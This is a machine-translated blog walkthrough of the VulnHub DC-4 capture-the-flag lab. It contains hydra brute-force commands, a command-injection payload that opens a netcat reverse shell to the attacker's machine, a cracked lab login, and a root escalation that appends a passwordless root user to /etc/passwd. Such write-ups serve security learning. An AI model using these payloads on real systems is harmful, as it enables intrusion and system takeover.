当前位置:网站首页>【Try to Hack】vulnhub DC4
【Try to Hack】vulnhub DC4
2022-07-01 17:31:00 【Happy star】
Blog home page : Happy star The blog home page of
Series column :Try to Hack
Welcome to focus on the likes collection ️ Leaving a message.
Starting time :2022 year 7 month 1 Japan
The author's level is very limited , If an error is found , Please let me know , thank !
The target is in bridging mode by default
kali Set to bridge mode
The host found netdiscover
Drone aircraft ip by 192.168.0.151
namp -p- -A 192.168.0.151
ssh Service and http service
visit 80 port
dirb Regular directory scanning dirb http://192.168.0.151
Two directories 403
whatweb http://192.168.0.151
This page doesn't work cwel Crawl dictionary
Upper weak password
On hydra, use john A dictionary with me /usr/share/john/password.lst
Known user name is adminhydra -l admin -P /usr/share/john/password.lst 192.168.0.151 http-get /
Can execute orders , But the command is dead
Grab the bag and have a look
Yes indeed
Bounces shellradio=nc+192.168.0.106+233+-e+/bin/sh&submit=Run
nc -lvvp 233
Pack
python -c 'import pty;pty.spawn("/bin/bash")'
Get an interactive shell
ls /home
There are three users
Turn over one by one
Only jim Can see
Password
Continue to turn jim Other documents under
No permission to view mbox
Now look ssh service
Then save the three users as user.txt.
I directly copied the password backup file to kali In the attack plane
use hydra Blast ssh service hydra -L user.txt -P password.txt 192.168.0.151 ssh -t 60
ssh Blast out a user
jim:jibril04
Log in and have a look ssh [email protected]
Login successful
You can see mbox
This is email ,root to jim Email sent , But there is no email content
stay /var/jim Found inside .( This /var/mail Is the default self-contained folder , It may be used to save emails )
Got it charles Password
Log in
nothing
Now we can only consider raising the right
To us charles This user , Then use this user to raise rights
test.sh have suid jurisdiction , But I don't know when it will run , I haven't seen it work .
First, consider using ping Raise the right , But it doesn't seem to work
use sudosudo -l
echo "happy::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
Construct a user with root jurisdiction , write in /etc/passwd
边栏推荐
- Object. fromEntries()
- Please, stop painting star! This has nothing to do with patriotism!
- 整形数组合并【JS】
- Unity3d extended toolbar
- Research Report on development monitoring and investment prospects of China's smart environmental protection industry (2022 Edition)
- Computed property “xxx“ was assigned to but it has no setter.
- Transition technology from IPv4 to IPv6
- How to use JMeter function and mockjs function in metersphere interface test
- (27) Open operation, close operation, morphological gradient, top hat, black hat
- Girls who want to do software testing look here
猜你喜欢
Redis6.0 new features
DNS
Basic usage of Frida
SystemVerilog structure (II)
(17) DAC conversion experiment
Official announcement! Hong Kong University of science and Technology (Guangzhou) approved!
(十七)DAC转换实验
Iommu/smmuv3 code analysis (10) page table operation
ACL 2022 | decomposed meta learning small sample named entity recognition
Detailed explanation of string's trim() and substring()
随机推荐
Object. fromEntries()
GameFramework食用指南
China sorbitol Market Forecast and investment strategy report (2022 Edition)
期货先锋这个软件正规吗安全吗?选择哪家期货公司更安全?
中国冰淇淋市场深度评估及发展趋势预测报告(2022版)
Determine whether the linked list is a palindrome linked list
redis -- 数据类型及操作
Reflective XSS vulnerability
Soft test software designer full truth simulation question (including answer analysis)
[wrung Ba wrung Ba is 20] [essay] why should I learn this in college?
整形数组合并【JS】
中国乙腈市场预测与战略咨询研究报告(2022版)
[Supplément linguistique c] déterminer quel jour est demain (date de demain)
Yyds dry inventory MySQL RC transaction isolation level implementation
官宣!香港科技大学(广州)获批!
GaussDB(for MySQL) :Partial Result Cache,通过缓存中间结果对算子进行加速
Roewe rx5's "a little more" product strategy
[mathematical modeling] [matlab] implementation of two-dimensional rectangular packing code
SQL question brushing 1050 Actors and directors who have worked together at least three times
【C语言基础】12 字符串